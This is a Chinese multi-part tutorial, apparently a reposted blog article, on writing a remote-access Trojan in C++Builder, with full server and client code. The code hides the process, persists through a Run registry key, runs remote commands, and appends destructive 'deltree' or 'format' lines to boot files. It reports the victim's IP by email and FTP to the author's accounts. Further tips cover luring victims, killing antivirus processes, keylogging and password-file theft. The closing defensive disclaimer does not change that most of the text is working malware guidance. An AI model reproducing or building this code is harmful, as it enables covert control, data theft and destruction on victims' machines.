木马是如何编写的

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木马是如何编写的
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献给所有想写木马的朋友们
                      木马是如何编写的(一)
特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷, 使在Dos——Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。

  我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!要知道,木马(Trojan)的历史是很悠久的:早在AT&T Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗——先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。

  自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成——服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。

  首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈——难道你还给受害者传一个1兆多的动态链接库——Msvbvm60.dll吗?

启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。

  Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。

  我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。

  首先判断目标机的操作系统是Win9x还是WinNt:
{
DWORD dwVersion = GetVersion();
// 得到操作系统的版本号
if (dwVersion >= 0x80000000)
// 操作系统是Win9x,不是WinNt
 {
   typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
    //定义RegisterServiceProcess()函数的原型
    HINSTANCE hDLL;
   LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
   hDLL = LoadLibrary("KERNEL32");
   //加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL
   lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");
    //得到RegisterServiceProcess()函数的地址
    lpRegisterServiceProcess(GetCurrentProcessId(),1);
   //执行RegisterServiceProcess()函数,隐藏本进程
   FreeLibrary(hDLL);
   //卸载动态链接库
 }
}

  这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。


接着再将自己拷贝一份到%System%目录下,例如:C:/Windows/System,并修改注册表,以便启动时自动加载:

{ 
char TempPath[MAX_PATH];
//定义一个变量
GetSystemDirectory(TempPath ,MAX_PATH);
//TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径
SystemPath=AnsiString(TempPath);
//格式化TempPath字符串,使之成为能供编译器使用的样式
CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"//Tapi32.exe").c_str() ,FALSE);
//将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来
Registry=new TRegistry;
//定义一个TRegistry对象,准备修改注册表,这一步必不可少
Registry->RootKey=HKEY_LOCAL_MACHINE;
//设置主键为HKEY_LOCAL_MACHINE
Registry->OpenKey("Software//Microsoft//Windows//
CurrentVersion//Run",TRUE);
//打开键值Software//Microsoft//Windows//CurrentVersion//Run,如果不存在,就创建之
try
 {
  //如果以下语句发生异常,跳至catch,以避免程序崩溃
  if(Registry->ReadString("crossbow")!=SystemPath+"//Tapi32.exe")
    Registry->WriteString("crossbow",SystemPath+"//Tapi32.exe");
    //查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe
   //如果不是,就写入以上键值和内容
 }
catch(...)
 {
 //如果有错误,什么也不做
 }
}

  好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。

  接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。

  再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:

{
 FILE *fp=NULL;
 char * content;
 int times_of_try;
 char TempFile[MAX_PATH];
 //定义了一堆待会儿要用到的变量
 sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("//Win369.BAT")).c_str());
 //在%System%下建立一个文本文件Win369.bat,作为临时文件使用
 AnsiString temp=Socket->ReceiveText();
 //接收客户端(攻击者,也就是你自己)传来的数据
}


好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:

{
if(temp.SubString(0,9)=="edit conf")
 //如果接受到的字符串的前9个字符是“edit conf”
 {
   int number=temp.Length();
   //得到字符串的长度
   int file_name=atoi((temp.SubString(11,1)).c_str());
   //将第11个字符转换成integer型,存入file_name变量
   //为什么要取第11个字符,因为第10个字符是空格字符
   content=(temp.SubString(12,number-11)+'/n').c_str();
   //余下的字符串将被作为写入的内容写入目标文件
   FILE *fp=NULL;
   char filename[20];
   chmod("c://autoexec.bat",S_IREAD|S_IWRITE);
   chmod("c://config.sys",S_IREAD|S_IWRITE);
   //将两个目标文件的属性改为可读可写
   if(file_name==1)
    sprintf(filename,"%s","c://autoexec.bat");
    //如果第11个字符是1,就把Autoexec.bat格式化
   else if(file_name==2)
    sprintf(filename,"%s","c://config.sys");
    //如果第11个字符是1,就把Config.sys格式化
   times_of_try=0;
   //定义计数器
   while(fp==NULL)
    {
     //如果指针是空
    fp=fopen(filename,"a+");
    //如果文件不存在,创建之;如果存在,准备在其后添加
    //如果出错,文件指针为空,这样就会重复
    times_of_try=times_of_try+1;
    //计数器加1
    if(times_of_try>100)
    {
       //如果已经试了100次了,仍未成功
       Socket->SendText("Fail By Open File");
       //就发回“Fail By Open File”的错误信息
       goto END;
       //跳至END处
    }
    }
   fwrite(content,sizeof(char),strlen(content),fp);
   //写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!
   fclose(fp);
   //写完后关闭目标文件
   Socket->SendText("Sucess");
   //然后发回“Success”的成功信息
  }
}

  你现在可以通过网络来察看目标机上的这两个文件了,并且还可以向里面随意添加任何命令。

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木马是如何编写的(二)
上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲啰:

{
else if(temp.SubString(0,3)=="dir")
{
  //如果前3个字符是“dir”
  int Read_Num;
  char * CR_LF="/n";
  int attrib;
  char *filename;
  DIR *dir;
  struct dirent *ent;
  int number=temp.Length();
  //得到字符串的长度
  AnsiString Dir_Name=temp.SubString(5,number-3);
  //从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名
  if(Dir_Name=="")
   {
    //如果目录名为空
    Socket->SendText("Fail By Open DIR's Name");
    //返回“Fail By Open DIR's Name”信息
    goto END;
    //跳到END
   }
  char * dirname;
  dirname=Dir_Name.c_str();
  if ((dir = opendir(dirname)) == NULL)
   {
    //如果打开目录出错
    Socket->SendText("Fail by your DIR's name!");
    //返回“Fail By Your DIR's Name”信息
    goto END;
    //跳到END
   }
  times_of_try=0;
  while(fp==NULL)
   {
    //如果指针是NULL
    fp=fopen(TempFile,"w+");
    //就创建system/Win369.bat准备读和写;如果此文件已存在,则会被覆盖
    times_of_try=times_of_try+1;
    //计数器加1
    if(times_of_try>100)
      {
      //如果已经试了100次了,仍未成功(真有耐心!)
      Socket->SendText("Fail By Open File");
      //就发回“Fail By Open File”的错误信息
      goto END;
      //并跳到END处
      }
    }
   while ((ent = readdir(dir)) != NULL)
    {
     //如果访问目标目录成功
     if(*(AnsiString(dirname)).AnsiLastChar()!='//')
     //如果最后一个字符不是“/”,证明不是根目录
     filename=(AnsiString(dirname)+"//"+ent->d_name).c_str();
     //加上“/”字符后将指针指向目录流
     else
     filename=(AnsiString(dirname)+ent->d_name).c_str();
     //如果是根目录,则不用加“/”
     attrib=_rtl_chmod(filename, 0);
     //得到目标文件的访问属性
     if (attrib & FA_RDONLY)
     //“&”字符是比较前后两个变量,如果相同返回1,否则返回0
     fwrite(" R",sizeof(char),3,fp);
     //将目标文件属性设为只读
     else
     fwrite(" ",sizeof(char),3,fp);
     //失败则写入空格
     if (attrib & FA_HIDDEN)
     fwrite("H",sizeof(char),1,fp);
     //将目标文件属性设为隐藏
     else
     fwrite(" ",sizeof(char),1,fp);
     //失败则写入空格
     if (attrib & FA_SYSTEM)
     fwrite("S",sizeof(char),1,fp);
     //将目标文件属性设为系统
     else
     fwrite(" ",sizeof(char),1,fp);
     //失败则写入空格
     if (attrib & FA_ARCH)
     fwrite("A",sizeof(char),1,fp);
     //将目标文件属性设为普通
     else
     fwrite(" ",sizeof(char),1,fp);
     //失败则写入空格
     if (attrib & FA_DIREC)
     fwrite("

",sizeof(char),9,fp);
     //将目标文件属性设为目录
     else
     fwrite("     ",sizeof(char),9,fp);
     //失败则写入空格
     fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp);
     //将目录名写入目标文件
     fwrite(CR_LF,1,1,fp);
     //写入换行
    }
    fclose(fp);
    //关闭文件
    closedir(dir);
    //关闭目录
    FILE *fp1=NULL;
    times_of_try=0;
    while(fp1==NULL)
     {
     fp1=fopen(TempFile,"r");
     //打开Win369.bat准备读
     times_of_try=times_of_try+1;
     //计数器加1
     if(times_of_try>100)
     {
       //如果已经试了100次了,仍未成功
       Socket->SendText("Fail By Open File");
       //就发回“Fail By Open File”的错误信息
       goto END;
       //并跳到END处
     }
     }
    AnsiString Return_Text="";
    char temp_content[300];
    for(int i=0;i<300;i++) temp_content[i]='/0';
    //定义的一个空数组
    Read_Num=fread(temp_content,1,300,fp1);
    //从目标文件中读入前300个字符
    while(Read_Num==300)
    {
     Return_Text=Return_Text+temp_content;
     //Return_Text变量加上刚才的300个字符
     for(int i=0;i<300;i++) temp_content[i]='/0';
     Read_Num=fread(temp_content,1,300,fp1);
     //重复
    };
    Return_Text=Return_Text+temp_content;
    //Return_Text变量加上刚才的300个字符
    fclose(fp1);
    //关闭目标文件
    Socket->SendText(Return_Text);
    //返回Return_Text变量的内容
  }
}


够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):

{
else if(temp.SubString(0,4)=="type")
{
  //如果前4个字符是“type”
  int Read_Num;
  int number=temp.Length();
  AnsiString File_Name=temp.SubString(6,number-4);
  //将目标文件流存入File_Name变量中
  times_of_try=0;
  while(fp==NULL)
   {
    fp=fopen(File_Name.c_str(),"r");
    //打开目标文件准备读
    times_of_try=times_of_try+1;
    //计数器加1
    if(times_of_try>100)
    {
     //如果已试了100次了
      Socket->SendText("Fail By Open File");
      //返回“Fail By Open File”的错误信息
      goto END;
      //跳到END
    }
   }
  AnsiString Return_Text="";
  char temp_content[300];
  for(int i=0;i<300;i++) temp_content[i]='/0';
  //定义一个空数组
  Read_Num=fread(temp_content,1,300,fp);
  //从目标文件中读入前300个字符
  while(Read_Num==300)
   {
    Return_Text=Return_Text+temp_content;
    //Return_Text的内容加上刚才的字符
    for(int i=0;i<300;i++) temp_content[i]='/0';
    Read_Num=fread(temp_content,1,300,fp);
    //重复
   };
  Return_Text=Return_Text+temp_content;
  //Return_Text的内容加上刚才的字符
  fclose(fp);
  //关闭目标文件
  Socket->SendText(Return_Text);
  //返回Return_Text的内容,即你查看文件的内容
}
}

  咳咳!累死了!还是来点轻松的吧——操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):

{
else if(temp=="open")
{
  //如果收到的temp的内容是“open”
  mciSendString("set cdaudio door open", NULL, 0, NULL);
  //就弹出光驱的托盘
}
else if(temp=="close")
{
  //如果收到的temp的内容是“close”
  mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);
  //就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^
}
}


接着就是交换目标机的鼠标左右键,代码如下:
{
else if(temp=="swap")
{
  SwapMouseButton(1);
  //交换鼠标左右键,简单吧?
}
}

  然后就是使目标机重新启动。但这里要区分WinNt和Win9x——NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:

{
else if(temp=="reboot")
{
  //如果收到的temp的内容是“temp”
  DWORD dwVersion = GetVersion();
  //得到操作系统的版本号
  if (dwVersion < 0x80000000)
  {
    //操作系统是WinNt,不是Win9x
   HANDLE hToken;
   TOKEN_PRIVILEGES tkp;
   //定义变量
   OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
   //OpenProcessToken()这个函数的作用是打开一个进程的访问令牌
   //GetCurrentProcess()函数的作用是得到本进程的句柄
   LookupPrivilegevalue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
   //LookupPrivilegevalue()的作用是修改进程的权限
   tkp.PrivilegeCount = 1;
    //赋给本进程特权
   tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
   //AdjustTokenPrivileges()的作用是通知Windows NT修改本进程的权利
   ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0);
    //强行退出WinNt并重启
  }
  else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);
   //强行退出Win9x并重启
}
}


如果以上都不是,就让它在Dos窗口中执行传来的命令:

{
else
{
  //如果都不是
  char * CR_TF="/n";
  times_of_try=0;
  while(fp==NULL)
  {
   fp=fopen(TempFile,"w+");
   //创建Win369.bat,如果已存在就覆盖
   times_of_try=times_of_try+1;
    //计数器加1
   if(times_of_try>100)
   {
    Socket->SendText("Fail By Open File");
    //返回“Fail By Open File”的信息
    goto END;
    //跳到END
   }
  }
  fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);
  //写入欲执行的命令
  fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);
  //写入换行符
  fclose(fp);
  //关闭Win369.bat
  system(TempFile);
  //执行Win369.bat
  Socket->SendText("Success");
  //返回“Success”信息
}
}

  你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。
  
  到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。

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木马是如何编写的(三)

  上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下:

{
END:;
Socket->Close();
file://关/闭服务
ServerSocket1->Active =true;
file://再/次打开服务
if (NMSMTP1->Connected) NMSMTP1->Disconnect();
file://如/果SMTP服务器已连接则断开
NMSMTP1->Host = "smtp.163.net";
file://选/一个好用的SMTP服务器,如163、263、sina和btamail
NMSMTP1->UserID = "";
file://你/SMTP的ID
try
{
NMSMTP1->Connect();
file://再/次连接
}
catch(...)
{
goto NextTime;
file://跳/到NextTime
}
NMSMTP1->PostMessage->FromAddress ="I don't know!";
file://受/害者的Email地址
NMSMTP1->PostMessage->FromName = "Casualty";
file://受/害者的名字
NMSMTP1->PostMessage->ToAddress->Text = "crossbow@8848.net";
file://将/信发到我的邮箱,这一步很关键
NMSMTP1->PostMessage->Body->Text = AnsiString("Server Running on:") + NMSMTP1->LocalIP ;
file://信/的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接
NMSMTP1->PostMessage->Subject = "Server Running Now!";
file://信/的主题
NMSMTP1->SendMail();
file://发/送!
return;
file://返/回

NextTime:
NMFTP1->Host = "ftp://ftp.go.163.com"/;
file://你/的FTP服务器的地址
NMFTP1->UserID = "";
file://你/的用户ID
NMFTP1->Port = 21;
file://FTP/端口号,一般为21
NMFTP1->Password = "";
file://你/的FTP的密码
if(NMFTP1->Connected) NMFTP1->Disconnect();
file://如/果已连接就断开
try
{
NMFTP1->Connect();
file://再/连接
}
catch(...)
{
return;
file://返/回
}
AnsiString SendToSite = "Server Running on: " + NMFTP1->RemoteIP;
file://受/害者的IP地址
FILE * Upload;
Upload = fopen(NMFTP1->RemoteIP.c_str(),"w+");
file://创/建一个新文件准备写,如果已存在就覆盖
fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload);
file://写/入以上的SendToSite的内容
fclose(Upload);
file://写/完后关闭此文件
NMFTP1->RemoveDir("public_html");
file://删/除public_html目录
NMFTP1->Upload(NMFTP1->RemoteIP, NMFTP1->RemoteIP);
file://上/传!
}
  啊,超长的OnClientRead事件终于写完了。最后别忘了要在此服务器源码文件中添加以下头文件:

#include


#include
#include
#include
#include
#include
#include
#include
#include
#include

  至此,服务器端(Server)程序已全部完工!(终于可以好好歇歇了!)别慌!以上代码只是完成了整个木马程序的一半。(“扑通”,有人晕倒了!)下面我们就将乘胜追击——搞定客户端程序(Client)!

  客户端程序其实是很简单的。另新建一个Form,添加一个ClientSocket(和ServerSocket在相同的页下),再添加四个Editbox,命名为Edit1,Edit2,Edit3和Edit4,最后添加一个Button,Caption为“发送”。Edit1是输入命令用的,Edit2是准备输入目标机的IP地址用的,Edit3是输入连接端口号用的,Edit4是用来输入欲添加的语句或显示命令执行的结果的。(头是不是有点大了?!)

  双击Button1,在Button1Click事件中添加如下代码:

{
if((Edit2->Text=="")||(Edit3->Text==""))return;
file://如/果输入IP地址框或输入端口号框有一个为空,就什么也不作
ClientSocket1->Address=Edit2->Text;
file://目/标IP地址
ClientSocket1->Port=atoi(Edit2->Text.c_str());
file://目/标端口号,本例中的44444
ClientSocket1->Open();
file://连/接!
}

  选中CilentSocket1控件,双击OnConnectt事件,在ClientSocket1Connect下添加如下代码:

{
if((Edit1->Text=="edit conf 1")||(Edit1->Text=="edit conf 2"))
file://如/果是要编辑autoexec.bat或config.sys
Socket->SendText(Edit1->Text+Edit4->Text);
file://发/送命令和欲添加的语句
else
Socket->SendText(Edit1->Text);
file://否/则只发送命令
}

  双击OnRead事件,在ClientSocket1Read下添加如下代码:

{
AnsiString ReadIn = Socket->ReceiveText();
file://读/入收到的返回信息
Edit4->Text="";
file://清/空编辑框
FILE *fp;
fp = fopen("ReadIn.tmp","w");
file://建/立一个临时文件ReadIn.tmp
fwrite(ReadIn.c_str(),1,10000,fp);
file://写/入信息
fclose(fp);
file://关/闭之
Edit4->Lines->LoadFromFile("ReadIn.tmp");
file://在/编辑框中显示返回的信息
}

  为了敲完命令后直接回车就可以发送,我们可以使Button1的代码共享。双击Edit1的onKeyPress命令,输入:

{
if(Key==VK_RETURN)Button1Click(Sender);
file://如/果敲的是回车键,就和点击Button1一样的效果
}

  最后再添加以下头文件:

#include "stdlib.h"
#include "winbase.h"
#include "fcntl.h"
#include "stdio.h"

  终于写完了!!!(如果你对简陋的界面不满意,可以自己用BCB中丰富的控件好好完善完善嘛!)按下Ctrl+F9进行编译链接吧!对于Server,你可以选一个足以迷惑人的图标(我选的是一个目录模样的图标)进行编译,这样不但受害者容易中招,而且便于隐藏自己。

  接下来就把Server程序寄给受害者,诱骗他(她)执行,在你得到他(她)的IP后(这不用我教吧?),就启动Client程序,敲入“edit conf 1”就编辑Autoexec.bat文件,敲入“edit conf 2”就编辑Config.sys文件,敲入“dir xxx”(xxx是目录名)就可以看到目录和文件,敲“type xxx”就可以察看任何文件,输入“open”,弹出目标机的光驱托盘,“close”就收入托盘,输入“swap”就可以交换受害者的鼠标左右键,输入“reboot”就启动目标机……不用我多说了吧?
  以上只是一个简单的例子,真正写起木马来要解决的技术问题比这多得多,这得需要扎实的编程功底和丰富的经验。如下的问题就值得仔细考虑:

  首先是程序的大小问题,本程序经编译链接后得到的可执行文件竟有400多K,用Aspack1.07压了一下也还有200多K。可以看出不必要的Form是应该去掉的;并且尽量由自己调用底层的API函数,而尽量少使用Borland打好包的VCL控件;要尽量使用汇编语言(BCB支持C++和汇编混编),不但速度会加快,而且大小可以小很多,毕竟木马是越小越好。

  还有启动方式的选择。出了Win.ini、System.ini之外,也还是那几个注册表键值,如:

HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Run
HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/RunServices
HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Run

  都已被其他的木马用烂了。现在又开始对exe、dll和txt文件的关联程序动手脚了(如冰河和广外女生)。这里涉及到参数传递的问题。得到ParamStr()函数传来的参数,启动自己后再启动与之关联的程序,并将参数传递给它,这样就完成了一次“双启动”,而受害者丝毫感觉不到有任何异常。具体键值如:

与exe文件建立关联:HKEY_CLASSES_ROOT/exefile/shell/open/command
与txt文件建立关联:HKEY_CLASSES_ROOT/txtfile/shell/open/command
与dll文件建立关联:HKEY_CLASSES_ROOT/dllfile/shell/open/command

  等,当然还可以自己扩充。目前还有一种新方法:在HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Windows下添加如下键值 "AppInit_DLLs"="Server.dll",这就把Server.dll注册为系统启动时必须加载的模块(你应该把木马编译成DLL)。下次开机时,木马以动态链接库形式被加载,存在于系统进程中。因为没有它自己的PID(Process ID 进程识别号),所以在NT的任务管理器中也看不见(不过在“系统信息”——“软件环境”——“已加载的32位模块”中还是可以详细看到当前内存中加载的每一个模块的 ^_^),这样做的目的是可以使自己的程序更加隐蔽,提高木马的生存能力。

  木马的功能还可以大大扩充。你可以充分发挥你的想象力——比如上传、下载、新建、改名、移动文件,截图存为jpg文件传回,录音监听成Wav文件,录像成AVI文件,弹光驱,读软驱,关机,重启,不停地挂起,胡乱切换分辨率(烧掉你的显示器),发对话框,不停地打开资源管理器直到死机,杀掉Kernel32.dll进程使机器暴死,交换鼠标左右键,固定鼠标,限制鼠标活动范围,鼠标不听指挥到处乱窜,记录击键记录(记录上网口令,这需要深入了解钩子(Hook)技术,如键盘钩子和鼠标钩子),窃取重要的密码文件如pwl和sam文件,格式化磁盘,乱写磁盘扇区(像病毒大爆发),破坏零磁道,乱写BIOS(像CIH),胡乱设置CMOS,加密MBR、HDPT和FAT(像江民炸弹)……真是琳琅满目、心狠手辣呀!而且实现起来并不是很复杂,只不过后面几项需要比较扎实的汇编功底而已(有几项要用到Vxd技术)。唉!路漫漫其修远兮,吾将上下而求索……

  如果你想更安全地执行你的入侵活动,就应该像广外女生一样可以杀掉防火墙和杀毒软件的进程。防火墙和杀毒软件监视的是特征码,如果你是新木马,它就不吱一声;但是如果你打开不寻常的端口,它就会跳出来报警。因此最好的办法是启动后立即分析当前进程,查找有没有常见防火墙和杀毒软件的进程,如果有就杀无赦。比如常见的如:Lockdown,天网防火墙,网络卫兵,kv3000,瑞星,金山毒霸,Pc-Cillin,Panda,Mcafee,Norton和CheckPoint。杀掉后,再在特定的内存地址中作一个标记,使它们误以为自己已启动,因此不会再次启动自己了。

  针对来自反汇编工具的威胁。如果有人试图将你的木马程序反汇编,他成功后,你的一切秘密就暴露在他的面前了,因此,我们要想办法保护自己的作品。首先想到的是条件跳转,条件跳转对于反向工程来说并不有趣。没有循环,只是跳转,作为使偷窃者令人头痛的路障。这样,就没有简单的反向操作可以执行了。陷阱,另一个我不太肯定,但听说有程序使用的方法:用CRC校验你的EXE文件,如果它被改变了,不要显示典型错误信息,而给予偷窃者致命的一击。

  最后如果你需要它完成任务后可以自己删除自己,我提示你:退出前建立一个批处理文件,加入循环删除本exe文件和本批处理文件自己的命令后保存,执行它,再放心地退出。你可以试一下,所有文件都消失了吧?!这叫“踏雪无痕”。

  入侵安装了防火墙的机器最好使用自己编写的木马,这样不光防火墙不会报警,而且你自己心里也坦然一些——毕竟是自己的作品吗!如果你是系统管理员,那就请你不要偷懒,不仅要经常扫描1024以下的端口,而且包括1024以上的高端端口也要仔细扫描,65535个端口一个也不能漏。因为许多木马打开的就是高端端口(如本例中的4444)。

  写在最后:上面例子的用意并不是教你去如何攻击他人,目的只是让你了解木马的工作原理和简单的编写步骤,以便更好地防范和杀除木马,维护我们自己应有的网络安全。因此,请列位看官好自为之,不要乱下杀手啊!

ACM主要算法 ACM主要算法 ACM主要算法介绍 初期篇 一、基本算法 (1)枚举(poj1753, poj2965) (2)贪心(poj1328, poj2109, poj2586) (3)递归和分治法 (4)递推 (5)构造法(poj3295) (6)模拟法(poj1068, poj2632, poj1573, poj2993, poj2996) 二、图算法 (1)图的 阅读详情

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